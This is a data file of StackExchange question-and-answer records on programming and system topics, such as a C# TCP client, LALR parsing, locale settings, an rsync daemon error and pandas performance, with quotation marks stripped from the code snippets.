{  "id": "_codereview.10611"  , "question": "I have a method which loads data from a remote app (send TCP request and parse response). Now, I have a simple class for sending a TCP request:public class PremieraTcpClient    {        public PremieraTcpClient()        {            QueryItems = new NameValueCollection();            int port;            int.TryParse(ConfigurationManager.AppSettings[PremieraPort], out port);            Port = port;            ServerIp = ConfigurationManager.AppSettings[PremieraServerIp];            ServiceId = ConfigurationManager.AppSettings[PremieraServiceId];        }        public NameValueCollection QueryItems { get; set; }        private int Port { get; set; }        private string ServerIp { get; set; }        private string ServiceId { get; set; }        private string ReadyQuery { get; set; }        public string SendQuery()        {                        StringBuilder parameters = new StringBuilder();            //...            // build query for request            //...            ReadyQuery = parameters.ToString();                        return Connect();                    }        private string Connect()        {            string responseData;            try            {                TcpClient client = new TcpClient(ServerIp, Port);                client.ReceiveBufferSize = Int32.MaxValue;                Byte[] data = Encoding.GetEncoding(1251).GetBytes(ReadyQuery);                NetworkStream stream = client.GetStream();                // send data                stream.Write(data, 0, data.Length);                var sizeBuffer = new byte[10];                stream.Read(sizeBuffer, 0, 10);                var sizeMessage = int.Parse(Encoding.GetEncoding(1251).GetString(sizeBuffer, 0, 10));                 data = new Byte[sizeMessage];                var readSoFar = 0;                //read data                while (readSoFar < sizeMessage)                {                    readSoFar += stream.Read(data, readSoFar, data.Length - readSoFar);                }                responseData = Encoding.GetEncoding(1251).GetString(data, 0, data.Length);                                responseData = responseData.TrimStart('&');                               stream.Close();                client.Close();                return responseData;            }            catch (ArgumentNullException e)            {                //return responseData = string.Format(ArgumentNullException: {0}, e);            }            catch (SocketException e)            {                //return responseData = string.Format(SocketException: {0}, e);            }            return string.Empty;        }        }This is method for load data: private static void GetUpdatesFromPremiera()        {            Debug.WriteLine(DateTime.Now + :GetUpdatesFromPremiera);            PremieraTcpClient client = new PremieraTcpClient();            client.QueryItems.Add(QueryCode, QueryCode.GetUpdates.ToString());            client.QueryItems.Add(ListType, Movie;Hall;Session;Place;Delete);            client.QueryItems.Add(Updates, _lastUpdateId);            _lastUpdateId = String.Empty;            var response = client.SendQuery();            // here parse response            //...        }This code works fine. But, now I have to load data from two remote app (tomorrow may be three).The simple solution is to iterate through all remote apps:private static void GetUpdatesFromPremiera(){   foreach(var remoteApp in listRemoteApp)   {        PremieraTcpClient client = new PremieraTcpClient();        // here assigned different properties        var response = client.SendQuery();   }}Is there is a better way of doing it? Also, each time a connection is established, I think it impacts performance greatly."  , "title": "Loading data from a remote app"  , "tags": "c#;asp.net mvc 3;tcp"  , "accepted_answer": "I have some suggestions about PremieraTcpClient. The way it is written may lead to unreleased resources. If you have an error then you will remain with a stream and client  opened.The correct way to do it is by using try...catch...finally or by using using.Below you can find the code using try catch finally    private string Connect()    {        string responseData = string.Empty;        TcpClient client = null;        NetworkStream stream = null;         try        {            client = new TcpClient(ServerIp, Port);            client.ReceiveBufferSize = Int32.MaxValue;            Byte[] data = Encoding.GetEncoding(1251).GetBytes(ReadyQuery);            stream = client.GetStream();            // send data            stream.Write(data, 0, data.Length);            var sizeBuffer = new byte[10];            stream.Read(sizeBuffer, 0, 10);            var sizeMessage = int.Parse(Encoding.GetEncoding(1251).GetString(sizeBuffer, 0, 10));            data = new Byte[sizeMessage];            var readSoFar = 0;            //read data            while (readSoFar < sizeMessage)            {                readSoFar += stream.Read(data, readSoFar, data.Length - readSoFar);            }            responseData = Encoding.GetEncoding(1251).GetString(data, 0, data.Length);            responseData = responseData.TrimStart('&');            //stream.Close();            //client.Close();            //return responseData;        }        catch (ArgumentNullException e)        {            //return responseData = string.Format(ArgumentNullException: {0}, e);        }        catch (SocketException e)        {            //return responseData = string.Format(SocketException: {0}, e);        }        finally        {            if(stream!=null) stream.Close();            if(client!=null) client.Close();        }        return responseData;    }And another small suggestion: I think is misleading to have a method named Connect that in fact does more than connect. It will be better to break the Connect method into smaller methods, each one with specific actions (even if they are private)."  } 
{  "id": "_webmaster.6485"  , "question": "I'm currently looking to register the Taiwanese version of my company's domain. Dynadot, doesn't register domains with that extension. I found a few places on the web: Godaddy has them, and a fewer smaller, shadier places claim to have them, but they start at $39.99/year which seems a bit outrageous. Has anyone found a more affordable, reliable registration company for .tw domains?  "  , "title": "Where can I register .tw domain extensions?"  , "tags": "domains;domain registration"  } 
{  "id": "_unix.357926"  , "question": "When I start Spacemacs I get a box created out of \\u2502 sequences which I assume is the a box of  particular character or colour not rendering properly. Below is the output from the locale command. What settings to I have to apply globally, or in my .bashrc etc to fix this?LANG=en_GBLANGUAGE=:en_GB.utf8LC_CTYPE=en_GBLC_NUMERIC=en_GBLC_TIME=en_GBLC_COLLATE=en_GBLC_MONETARY=en_GBLC_MESSAGES=en_GBLC_PAPER=en_GBLC_NAME=en_GBLC_ADDRESS=en_GBLC_TELEPHONE=en_GBLC_MEASUREMENT=en_GBLC_IDENTIFICATION=en_GBLC_ALL="  , "title": "How can I configure my locale correctly for Spacemacs?"  , "tags": "locale"  , "accepted_answer": "I don't know anything specific to spacemaps, but this looks like an encoding issue.Your character is a pretty good test already.$ echo -e \\u2502 To set up UTF-8 encoding (which is great for ASCII data), make sure all your language variables have UTF-8 in them.It should be enough to do:export LC_ALL=en_GB.UTF-8export LANG=en_GB.UTF-8export LANGUAGE=en_GB.UTF-8afterwards run locale to confirm it.$ export LC_ALL=en_GB.UTF-8$ export LANG=en_GB.UTF-8$ export LANGUAGE=en_GB.UTF-8$ localeLANG=en_GB.UTF-8LC_CTYPE=en_GB.UTF-8LC_NUMERIC=en_GB.UTF-8LC_TIME=en_GB.UTF-8LC_COLLATE=en_GB.UTF-8LC_MONETARY=en_GB.UTF-8LC_MESSAGES=en_GB.UTF-8LC_PAPER=en_GB.UTF-8LC_NAME=en_GB.UTF-8LC_ADDRESS=en_GB.UTF-8LC_TELEPHONE=en_GB.UTF-8LC_MEASUREMENT=en_GB.UTF-8LC_IDENTIFICATION=en_GB.UTF-8LC_ALL=en_GB.UTF-8Now testing it again$ echo -e \\u2502 This, in your .bashrc, should solve it.Make sure your terminal emulator (if any) actually uses the correct encoding too. It should properly read it from $LC_TYPE i believe, but some have settings to override this in their preferences. If you also want to setup/test colors as well, make sure you have 256 colors set in your term variableexport TERM=xterm-256colorthe 256colors.pl is a nice test for this https://gist.github.com/hSATAC/1095100"  } 
{  "id": "_cs.33999"  , "question": "I am having trouble getting my head wrapped around epsilon transitions while creating an LALR(1) parse table.Here's a grammar that recognizes any number of 'a' followed by a 'b'. 'S' is an artificial start state. '$' is an artificial 'EOS' token.0.    S -> A $1.    A -> B b2.    B -> B a3.    B -> epsilonItemsets:i0: S -> . A $    A -> .B b    B -> .B a    A -> B . b  ! because B could -> epsilon    B -> B . a  !    i1: S -> A . $i2: S -> A $ .i3: A -> B . b  ! from i0    B -> B . ai4: A -> B b .  ! from i0 or i3; the LALR algorithm compresses identical states.i5: B -> B a .  ! from i0 or i3: the LALR algorithm compresses identical states.I previously had a description on how this would work to parse a simple string. I removed it because I know less now than I did before. I can't even figure out a parse tree for 'ab'.If someone could show me how I have mis-constructed my itemsets and how I'd reduce the epsilon transition I'd be grateful."  , "title": "LALR(1) parsers and the epsilon transition"  , "tags": "formal grammars;parsers"  , "accepted_answer": "Your states and itemsets are not quite correct. The epsilon production must appear in relevant itemsets, and you have combined two states into one, which would produce a shift-reduce conflict if the epsilon production were added to the itemset (which should be done).The following was generated with bison (using the --report=all command-line option); it differs from the theoretic model because the grammar has been augmented with an extra start symbol and an explicit end-of-input marker ($end). Also, it has done some table compression, so in the action tables, you can think of $default as meaning either a or b.It is worth explaining how State 0 comes about, since it shows how epsilon productions are handled (no differently from other productions).We start with $accept: . S $end, by definition. ($accept is the starting state). Then the closure rule is applied as long as possible. Remember that the closure rule is: If any item in the itemset, the . is immediately before a non-terminal, add all the productions for that non-terminal with an initial .. Hence we add:S: . Acontinuing with A:A: . B 'b'continuing with B:B: . B 'a'B: .We can't apply closure any longer, so we're done. Since the state now has an item with the dot at the end (the epsilon production for B), a reduction is possible.State 0    0 $accept: . S $end    1 S: . A    2 A: . B 'b'    3 B: . B 'a'    4  | .    $default  reduce using rule 4 (B)        S  go to state 1    A  go to state 2    B  go to state 3State 1    0 $accept: S . $end    $end  shift, and go to state 4State 2    1 S: A .    $default  reduce using rule 1 (S)State 3    2 A: B . 'b'    3 B: B . 'a'    'b'  shift, and go to state 5    'a'  shift, and go to state 6State 4    0 $accept: S $end .    $default  acceptState 5    2 A: B 'b' .    $default  reduce using rule 2 (A)State 6    3 B: B 'a' .    $default  reduce using rule 3 (B)In State 0, the closure rule has added the epsilon production (line 4). Furthermore, no item in the state 0 itemset has the point before a terminal. So with any lookahead, the parser is forced to reduce the epsilon production, after which it will use the goto function for state 0 to decide to move to state 3. (In your state machine, states 0 and 3 are conflated, but I do not believe this is correct.) State 3 will definitely shift a terminal; with the input ab$end, it will shift the a and move to state 6, which will then reduce a B. And so on."  } 
{  "id": "_codereview.1099"  , "question": "This is a simple linked list program which creates a list by appending an object at the tail. It compiles and runs perfectly.Is the coding style, logic etc are fine? How can I improve this program?  Is there anything redundant or did I miss out some important things?#include<iostream>#include<string>using namespace std;class Link_list {private:    string name;    Link_list *next_node;public:    void add_item(Link_list *);    void add_item();    friend void show(Link_list *sptr)    {        while(sptr) {        cout << sptr->name << endl;        sptr = sptr->next_node;        }     }};void Link_list::add_item(){    cin >> name;    next_node = NULL;}void Link_list::add_item(Link_list *pptr){    cin >> name;    next_node = NULL;     pptr->next_node = this; }int main(){    Link_list *str_ptr = NULL;    Link_list *curr_ptr = str_ptr;    Link_list *prev_ptr;    char ch = 'y';    str_ptr = new(Link_list);    str_ptr->add_item();    curr_ptr = str_ptr;    do    {        prev_ptr = curr_ptr;        curr_ptr = new(Link_list);        curr_ptr->add_item(prev_ptr);        cout <<Do you want to add the item << endl;        cin >> ch;    }while(ch != 'n');    show(str_ptr);  }"  , "title": "Linked List program"  , "tags": "c++;linked list"  } 
{  "id": "_codereview.70457"  , "question": "Currently I try to create some unit tests for a project, which provides access to some webservice methods.It's interface is rather simple. I have a class WebService which offers methods like CreatePDF.Here's a little example:The Model:The model contains a number of properties, which each represent a URL parameter of the webservice. The models provide a method GetParameterDictionary, which delivers a dictionary with key == url parameter name and value == url parameter value.public class CreatePDFParameters{        public List<string> Names { get; set; }        public List<string> Colors { get; set; }        public Dictionary<string, string> GetParameterDictionary()        {            [...] //returns Key == url parameter name and Value == ; separated list of values        }}So here's a example for the Interface method:public byte[] CreatePDF(CreatePDFParameters parameters){    return MakeByteRequest(GetQuery(WebServiceMethods.CreatePDF, parameters.GetParameterDictionary()));}/// <summary>///     Creates a query out of a dictionary. The dictionary must have the paramname as key and the value as value!/// </summary>private string GetQuery(string methodName, Dictionary<string, string> parameters){    string parameterString = parameters.Where(parameter => !String.IsNullOrEmpty(parameter.Value))    .Aggregate(String.Empty, (current, parameter) => String.Format(String.IsNullOrEmpty(current) ? {0}?{1}={2} : {0}&{1}={2}, current, parameter.Key, parameter.Value));    return methodName + parameterString;}As you can see, you only need to call the CreatePDF method with a parameters object. The method itself calls a methods, which creates the query and calls a method, which makes the actual request (It calls directly the ByteRequest method, there are methods like StringRequest (delivers a string as return value) too).I would like to write a UnitTest for the GetQuery method. But I don't want to make it public or internal in the actual state. I could make the method public If I would remove the CreatePDF method and let the user make direkt calls to MakeByteRequest / GetQuery and so on - which would require the users to have some knowledge about the webservice itself (knowledge about return types, web method names and so on).Would you prefer a more simple interface over unit tests in this case?"  , "title": "Prefer simplicity over testability?"  , "tags": "c#;unit testing"  , "accepted_answer": "The WebService interface with a CreatePDF method is good like that.The private GetQuery method is an implementation detail that should not be exposed.But there's something else you can do to test GetQuery.You can move that logic outside to a different class,whose main responsibility will be to build query strings.Then the method will be public, naturally, and you can implement unit tests for it.The query string builder class can become a collaborator of WebService:implementations of WebService can call it from their GetQuery methods to build query strings correctly,with the comforting thought that the utility class is properly unit tested."  } 
{  "id": "_cstheory.1574"  , "question": "There is an increasing number of scientific articles which I look through and somehow I feel a lack of a tool to keep track of the already read ones and my summary notes on it. Or another usage scenario would be to search by an author and see which articles of the given author I have already read.The question is: Do you use or know of any freeware tools for organizing articles?"  , "title": "Do you use any article organizers?"  , "tags": "soft question"  , "accepted_answer": "I used to store them in a SVN repository, and then I found out about Mendeley, quite satisfying so far except for a few bugs. Different features are available depending on whether or not you want to pay some fee, but the free version is enough for many people -- it seems it would be for you."  } 
{  "id": "_unix.178903"  , "question": "I run the top command on my linux machine and I see that vim command take like 99.5% CPU PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND                                                                                                      23320 gsachde   25   0 10720 3500 2860 R 99.5  0.2  30895:11 vim  how to verify which script/program is it?  "  , "title": "linux + top command"  , "tags": "linux;command;cpu;process management"  , "accepted_answer": "If you press c while in top then the command will be expanded to show the full command used to start the process.You can also take the PID and run:  ps -ef |  grep $PIDOr:  cat /proc/$PID/cmdline"  } 
{  "id": "_softwareengineering.122436"  , "question": "We're writing a requirements document for our client and need to include the use cases of the system. We're following this template:IDDescriptionActorsPreconditionBasic StepsAlternate StepsExceptionsBusiness validations/RulesPostconditionsIn the Basic Steps section, should we include steps that the system performs in the back end or should we only include steps that the user directly interacts with?Example:Basic Steps for Search 1:User goes to search pageUser enters termUser presses searchSystem matches search term with database entriesSystem displays resultsvsBasic Steps for Search 2:User goes to search pageUser enters termUser presses searchSystem displays results"  , "title": "Should back end processes be included in use cases in requirements document?"  , "tags": "requirements"  } 
{  "id": "_cs.71962"  , "question": "In the proof of TQBF-complete, it says if the input size is i, then the TM for the input has at most 2^i numbers of configuration. Can someone explain why?The proof is from: http://zoo.cs.yale.edu/classes/cs468/fall12/TQBF-complete.pdf"  , "title": "Why are there only 2^i configurations?"  , "tags": "turing machines"  , "accepted_answer": "Let $s(n)$ be the space used by Turing machine, $\\Sigma $ is a input  alphabet, $$ is tape alphabet ( $  $ ) and $Q$ is a finite set of states. Then maximum number of different configuration bounded by $|Q| \\times|  |^{s(n)}\\times s(n)$. You have $s(n)$ many places and in each place you have choices and then you can derive the expression very easily."  } 
{  "id": "_codereview.71713"  , "question": "I want to know if this is a good idea. It is definitely only a proof of concept at this point, but if it's a good idea I would pursue the development into a more mature product.  There are three main parts of this concept (maybe they should be separate questions, but I am asking about the concept as a whole and whether it conforms to acceptable standards or is just a bad idea):Create a single file Python interpreter (sort of) which will be compiled with pyinstaller for various platforms and included with the distribution of the app. This allows a completely pluggable system of command line utilities written in Python.Create a library which provides a decorator which creates a command line interface dynamically based on the function signature.Provide a production-ready server based on Bottle and CherryPy which serves a Web GUI based on a very simple plugin system.To this end I created a project on GitHub, and I would recommend looking at the structure and source code there, but I am including the most relevant pieces of code here as per the recommendations of the moderators.This is the code in magic.py which executes the python scripts. Note that the main point of this is to compile this code with pyinstaller so there is a one-step build process and it provides a pluggable system of command line utilities (also note the ellipses):# I want to make __future__ available, but it must be at the beginning.import __future__from config import get_configimport loggingimport sysimport osif False:    # The following modules (even though they are not actually imported)    # are meant to be available. When this module is packaged with pyinstaller    # It will make these modules available for import or in other words they    # will be bundled in the executable.    import re    import xml    ...    import cherrypyconfig = get_config(logging.conf)log_level = config.getint('logging', log_level)logger = logging.getLogger('magic')logger.setLevel(log_level)formatter = logging.Formatter(%(asctime)s %(levelname)s %(name)s %(message)s)handler = logging.StreamHandler(sys.stdout)handler.setLevel(log_level)handler.setFormatter(formatter)logger.addHandler(handler)# Only one parameter is needed for functionality, but I would like# to add support for flags to simulate the python interpreter flags.sys.argv = sys.argv[1:]if not sys.argv:    sys.exit(-1)_file = sys.argv[0]if not _file.endswith('.py'):    # append .py to _file if not present    _file = '{}.py'.format(_file)ran = Falseconfig = get_config(magic.conf)dirs = config.get(magic, path).split()logger.debug('Executing command {}'.format(' '.join(sys.argv)))for _dir in dirs:    filename = os.path.join(_dir, _file)    if not os.path.exists(filename) or not os.path.isfile(filename):        continue    try:        execfile(filename)        ran = True    except Exception, e:        msg = Failed to execute {}. Reason: {}.format(' '.join(sys.argv), e)        if hasattr(e, 'read'):            msg = '{}\\n\\t{}'.format(msg, e.read())        logger.error(msg)        # Here it ran, but raised an exception        raise    breakif not ran:    logger.debug(        Failed to execute file: {0}.         {0} does not exist or is not a file.format(_file))Now, for the dynamic creation of the command line interface. I use inspect to get at the function signature and argparse to implement the CLI.cli.pyimport sysimport inspectimport argparseclass Cli(object):    def __init__(self, description=):        self.parser = argparse.ArgumentParser(description=description,            formatter_class=argparse.RawDescriptionHelpFormatter)        self.subparsers = self.parser.add_subparsers()        self.functions = {}    def command(self):        def inner(fn):            collects information about decorated function, builds a            subparser then returns the function unchanged            name = fn.__name__            self.functions[name] = fn            desc = fn.__doc__            args, _, __, defaults = inspect.getargspec(fn)            if not args:                args = []                defaults = []            if len(args) != len(defaults):                print All cli.command function arguments must have a default.                sys.exit(-1)            _parser = self.subparsers.add_parser(name, description=desc,                formatter_class=argparse.RawDescriptionHelpFormatter)            _parser.set_defaults(func=self.functions[name])            for arg, default in zip(args, defaults):                # Try the lower case first letter for the short option first                if '-{}'.format(arg[0]) not in _parser._option_string_actions:                    flag = ('-{}'.format(arg[0]), '--{}'.format(arg))                # Then the upper-case first letter for the short option                elif '-{}'.format(arg[0]).upper() not in _parser._option_string_actions:                    flag = ('-{}'.format(arg[0]).upper(), '--{}'.format(arg))                # otherwise no short option                else:                    flag = ('--{}'.format(arg))                if isinstance(default, basestring):                    _parser.add_argument(*flag, type=str, default=default)                elif isinstance(default, list):                    _parser.add_argument(*flag, nargs='+')                elif isinstance(default, bool):                    if default:                        _parser.add_argument(                            *flag, action='store_false', default=default)                    else:                        _parser.add_argument(                            *flag, action='store_true', default=default)                elif isinstance(default, int):                    _parser.add_argument(*flag, type=int, default=default)            return fn        return inner    def run(self):        Executes the function corresponding to the command line        arguments provided by the user        args = self.parser.parse_args()        func = args.func        _args, _, __, defaults = inspect.getargspec(func)        kwargs = {}        for arg in _args:            kwargs[arg] = getattr(args, arg)        func(**kwargs)Now for the web GUI. Here is the script web.py which dynamically loads anything in our plugin directory as a plugin:import osimport var.lib.bottle as bottledef _get_plugins(app):    This function builds a list    ret = {}    dirs = [d for d in os.walk(app.PLUGIN_DIR).next()[1]]    dirs.sort()    for d in dirs:        # import the main function into a temporary variable        _main = __import__(            'var.www.plugins.{}.plugin'.format(d),            globals(),            locals(),            ['main'])        # add plugin directory to TEMPLATE_DIR so they can house their        # own templates (this allows plugins to be self-contained)        bottle.TEMPLATE_PATH.append(os.path.join(app.PLUGIN_DIR, d))        # Route GET and POST requests to the main() method of plugin.py        app.route(            '/{}'.format(d),            ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'],            _main.main)        ret[d] = bottle.template('link', name=d)        # TODO: inspect function to allow for dynamic routing and        #       service discovery    return retapp = bottle.Bottle()bottle.TEMPLATE_PATH = ['var/www/templates/']app.PLUGIN_DIR = 'var/www/plugins/'app.STATIC_DIR = 'var/www/static/'@app.route('/')@app.route('/index')@app.route('/index.html')@bottle.view('index')def index():    Returns the index template with a list of templates(actually a    list of links to the plugins URIs).    return {'plugins': app.PLUGINS}@app.route('/static/<filepath:path>')def static(filepath):    Serves static files located in app.STATIC_DIR.    return bottle.static_file(filepath, root=app.STATIC_DIR)if __name__ == '__main__':    app.PLUGINS = _get_plugins(app)    app.run(server='cherrypy')Is it a good idea to structure apps this way to provide a cross-platform application with as little boiler-plate code as possible?"  , "title": "Super simple way of generating dynamic interfaces in Python both CLI and Web GUI"  , "tags": "python;console;user interface;bottle;cherrypy"  , "accepted_answer": "Now I don't take answering my own question lightly, and perhaps someone isout there writing up the perfect answer right now, but I doubt it becausemy question my question is very broad and as I've discovered there is a lotof research to be done on the subject. I hope I can do the subject somejustice as there are a lot of very talented people implementing seperatelywhat I am implementing myself.The subject of creating User Interfaces has a long and sorted historyperhaps the most famous incident of which is the well known clash between Steve Jobs and Bill Gates. In fact there was a movie (I had a link to wikipedia's entry on Pirates of Silicon Valley here, but I can only add two links) made about that one (There are a lot of criticisms of this film and it's accuracy, but I reference only the fact that it was such a major event that there was a movie made about it). The fact is that how a user interacts with the programs that we as developers create is a very important topic.Now good design is very important, and there are many factors in whatdetermines good design. I will not list them here, but if you're interestedin doing further research Hereis a good place to start (pay particular attention to the references section).With that being said, it would be hard to design a framework which couldaccount for all of the design principles that a User Interface Engineerwould be aware of and would care about. There is one type of interface wheregood design doesn't have as many variables and that is on the command line.There are some standards which dictate how a program should behave as statedin the answers to this questionNow, getting something for free (I think) is something which everyone loves,but which can lead us into a trap like in the old Bait and Switch (I had a link to wikipedia's entry on bait and switch here, but I can only add two links).but there are times when technology advances to a point where a once hard toachieve end is made significantly easier thus allowing us to get somethingwithout having to put any extra effort into it ourselves, and we essentiallyget it for free think HTTP(although the real price is actually the years oftrial and error that those who have gone before us have put into it), but thatis the beauty of open source, we can give so that others can profit along withourselves.OK, enough rhetoric, The answer to my question as I see it is that whena standard has been developed and matured to a point when most peopleagree on it then a framework makes sense, but when something hasn't beenironed out as much then we need to make attempts at defining it more andmore so that we can all benefit.so for my project, I am going to try and capture the standards surroundingthe command line while making it incredibly easy to create a web interfacearound python programs. One of the most important things I will focus on isthe deployment of web applications, because that is one of the hardest partsof creating a Python web application.Please feel free to edit this answer if you feel you have a better idea ormore sources."  } 
{  "id": "_codereview.71114"  , "question": "I have written a function which takes the year in question and words as a data which is a dictionary that maps words to the list of year/count. Now I am wondering how I can improve the code that I have or how to make it more simpler or make it better performance-wise.def avgWordLen(year, words):    totLen = 0    totword = 0    for word in words:        for nary in words[word]:            if nary.year == year:                totLen += len(word) * nary.count                totword += nary.count    if totword != 0:        return totLen / totword    else:        return 0"  , "title": "Finding average word length in a given year"  , "tags": "python;performance;python 3.x;hash table"  , "accepted_answer": "totword and totLen are not so good names.And in any case PEP8 suggests to use snake_case for both variable and function names. So I recommend the following renames:total_word_length instead of totLenword_count instead of totwordaverage_word_length instead of avgWordLenWhen you iterate over keys in a dictionary and then lookup the values in every iteration step,then it's better to iterate over the dictionary items.That is, instead of:    for word in words:        for nary in words[word]:Do like this:    for word, nary_list in words.items():        for nary in nary_list:This way you avoid unnecessary dictionary lookups.At the end of the method, the else is unnecessary,because the if part always returns.It's slightly simpler this way:    if word_count != 0:        return total_word_length / word_count    return 0"  } 
{  "id": "_unix.120679"  , "question": "EDIT: I have since found that by using a folder in the root directory, things get a bit further - I can list the subfiles.  So it really looks like permissions on the folder are the issue.  I'm not sure what else to do besides chmod 777.I'm trying to configure an anonymous rsync daemon on CentOS 5.9.If I allow chroot the server reports that chroot fails.  If I disable it, chdir fails.# rsyncd.confmax connections = 20log file = /var/log/rsync.logtimeout = 300use chroot = false[builds]    path = /home/fuzz/builds    read only = yes    list = yes    uid = nobody    gid = nobody.# /etc/xinetd.d/rsync# default: off# description: The rsync server is a good addition to an ftp server, as it \\#       allows crc checksumming etc.service rsync{        disable = no        socket_type     = stream        wait            = no        user            = root        server          = /usr/bin/rsync        server_args     = --daemon        log_on_failure  += USERID}I have set all files and folders under /home/fuzz/builds to 777.  The folder is owned by the user fuzz.On the client side, this works...$ rsync rsync://hostbuildsBut when I try to view the contents of the builds directory, I get this error...$ rsync -vvvv rsync://host/buildsopening tcp connection to host port 873Connected to host (10.186.5.90)note: iconv_open(UTF-8, UTF-8) succeeded.sending daemon args: --server --sender -vvvvde.Lsf . builds/@ERROR: chdir failed[Receiver] _exit_cleanup(code=5, file=main.c, line=1534): enteredrsync error: error starting client-server protocol (code 5) at main.c(1534) [Receiver=3.0.9][Receiver] _exit_cleanup(code=5, file=main.c, line=1534): about to call exit(5)"  , "title": "Configuring anonymous rsync daemon"  , "tags": "rsync;daemon"  , "accepted_answer": "Generally this would indicate some sort of permission problem.  If you've already checked the permissions on /home/fuzz and /home/fuzz/builds, my next suspicion would be selinux.  You can check if selinux is enabled with getenforce.  To temporarily disable it to determine if that's the issue, run setenforce 0"  } 
{  "id": "_codereview.164045"  , "question": "I have some data in data frame and would like to return a value based on specific conditions.  It is highly time consuming.I tried three methods:Method 1:Without dataframe, this is the simple logic I have and it is super fast.@numba.vectorize(['float64(float64, float64)'])def Method1(a,b):    x=0.0    y=0.0    z=0.0    if (a <= 0.002):        x=0.5        y=2500        z=20000    elif (a <= 0.003):        x=0.3        y=2500        z=15000    elif (a <= 0.005):        x=0.2        y=1000        z=10000    else:        return 0.0    return min(max(x*b,y),z)%timeit Method1(0.001,200000)Method 2 - Input the condition data as a dataframe and run the functiondict = {'amin':[0.000,0.002,0.003],       'amax':[0.002,0.003,0.005],       'dfx':[0.5,0.3,0.2],       'dfy':[2500,2500,1000],       'dfz':[20000,15000,10000]}df=pd.DataFrame(dict)@numba.vectorize(['float64(float64, float64)'])def Method2(a,b):    x=0.0    y=0.0    z=0.0    x=df[(a<=df.amax) & (a>=df.amin)]['dfx'].values    y=df[(a<=df.amax) & (a>=df.amin)]['dfz'].values    z=df[(a<=df.amax) & (a>=df.amin)]['dfy'].values    if (len(x)==0) or (len(y)==0) or (len(z)==0):        return 0.0    else:        return min(max(x[0]*b,y[0]),z[0])%timeit Method2(0.001,200000)Method 3 - looped the rows of the dfdef Method3(a,b):    for index,row in df.iterrows():        if (mPD >= row['amin']) & (mPD <= row['amax']):            return min(max(row['dfx']*b,row['dfy']),row['dfz'])    return 0.0%timeit Method3(0.001,200000)Method 1 gets finished in 1.2 micro secondsMethod 2 takes 2.47 milli seconds (1000 times slower than the Method 1)Method 3 takes ~80 micro secondsPlease help me how to improve the performance of Method 2 / 3.Also, please let me know why Method 3 is faster?P.S. I plan to use Numba so cannot use lambda in the functions."  , "title": "Select value based on condition on dataframe"  , "tags": "python;performance;python 2.7;lambda;numba"  , "accepted_answer": "There is some overhead to numpy, and even more overhead to pandas. You won't be able to attain the performance of Method1 using pandas.I'll comment on the methods one at a time:Method1There is no need to initialize x, y, and z.You don't deal with the case where a is negativeFor me, Method1 is twice as fast when I leave off the @numba decorator.Method2Don't name a dictionary dict! This is the name of the class. I've renamed your dict as param_dict below.Again, there is no need to initialize x, y, and z.You're running the two inequalities three times each.Better would be to set valid_rows = (a<=df.amax) & (a>=df.amin) or similar.def Method2a(a,b):    valid_rows = (a <= df.amax) & (a >= df.amin)    if not any(valid_rows):        return 0.0    x=df[valid_rows]['dfx'].values    y=df[valid_rows]['dfz'].values    z=df[valid_rows]['dfy'].values    return min(max(x[0]*b,y[0]),z[0])With a setup where Method2 takes 2.25 ms, this takes 1.35 ms.Accessing a dataframe at a boolean array is slower than at an index.It's much better to find the first True index of valid_rows first.def Method2b(a,b):    valid_rows = (a <= df.amax) & (a >= df.amin)    if not any(valid_rows):        return 0.0    idx = np.where(valid_rows)[0][0]    x=df['dfx'].iat[idx]    y=df['dfz'].iat[idx]    z=df['dfy'].iat[idx]    return min(max(x*b,y),z)This takes 531 sDrilling down into this, just the first line takes 472 s (try it with the method truncated after the first line, not returning anything)! That's where we can improve.We don't really need two sets of comparisons. There's enough information in df.amin together with the final value of df.amax:def Method2c(a,b):    idx = np.searchsorted(df.amin.values, a) - 1    # special case if a == df.amin.iat[0]    if idx < 0:        if a == df.amin.iat[0]:            idx = 0        else:            return 0.0    # special case if a is bigger than all values in df.amin    elif idx == df.shape[0] - 1:        if a > df.amax.iat[idx]:            return 0.0    x=df['dfx'].iat[idx]    y=df['dfz'].iat[idx]    z=df['dfy'].iat[idx]    return min(max(x*b,y),z)This takes 38.6 s. Note the idea is closer to your approach in Method1.This is about as well as we can hope to do with pandas, as the bottle neck is now actually the three accesses:    x=df['dfx'].iat[idx]    y=df['dfz'].iat[idx]    z=df['dfy'].iat[idx]which actually takes 24.6 s by itself!Edit: Actually, using .values instead of .iat saves a good amount here, cutting the whole run time down to 19.3 s for:def Method2c_values(a,b):    idx = np.searchsorted(df['amin'].values, a) - 1    # special case if a == df['amin'].values[0]    if idx < 0:        if a == df['amin'].values[0]:            idx = 0        else:            return 0.0    # special case if a is bigger than all values in df.amin    elif idx == df.shape[0] - 1:        if a > df['amax'].values[idx]:            return 0.0    x=df['dfx'].values[idx]    y=df['dfz'].values[idx]    z=df['dfy'].values[idx]    return min(max(x*b,y),z)If we go back to the dictionary (which I'm calling param_dict) we can speed it up quite a bit:def Method2d(a,b):    idx = np.searchsorted(param_dict['amin'], a) - 1    # special case if a == df.amin.iat[0]    if idx < 0:        if a == param_dict['amin'][0]:            idx = 0        else:            return 0.0    # special case if a is bigger than all values in df.amin    elif idx == len(param_dict['amin']) - 1:        if a > param_dict['amax'][idx]:            return 0.0    x=param_dict['dfx'][idx]    y=param_dict['dfz'][idx]    z=param_dict['dfy'][idx]    return min(max(x*b,y),z)This takes 6.91 s. Now the bottleneck is back to the first line, which is taking 5.66 s by itself.We can rewrite this to do np.searchsorted ourselves, with the extra logic for the special cases worked in:def Method2e(a,b):    idx = 0    for value in param_dict['amin']:        if a < value:            # if idx is 0, we're out of bounds            if not idx:                return 0.0            break        elif a == value:            # if idx is 0, we need to adjust by 1            if not idx:                idx = 1            break        idx += 1    else:        # a is larger than every element of param_dict['amin']        if a > param_dict['amax'][-1]:            return 0.0    idx -= 1    x=param_dict['dfx'][idx]    y=param_dict['dfz'][idx]    z=param_dict['dfy'][idx]    return min(max(x*b,y),z)This is 823 ns. We could tweak mildly to put the idx == 0 part out of the main loop and other such things, but I'll leave it as is.Method3This method is fine, except thatdef Method3(a,b):    for index,row in df.iterrows():        passtakes 112 s for me."  } 
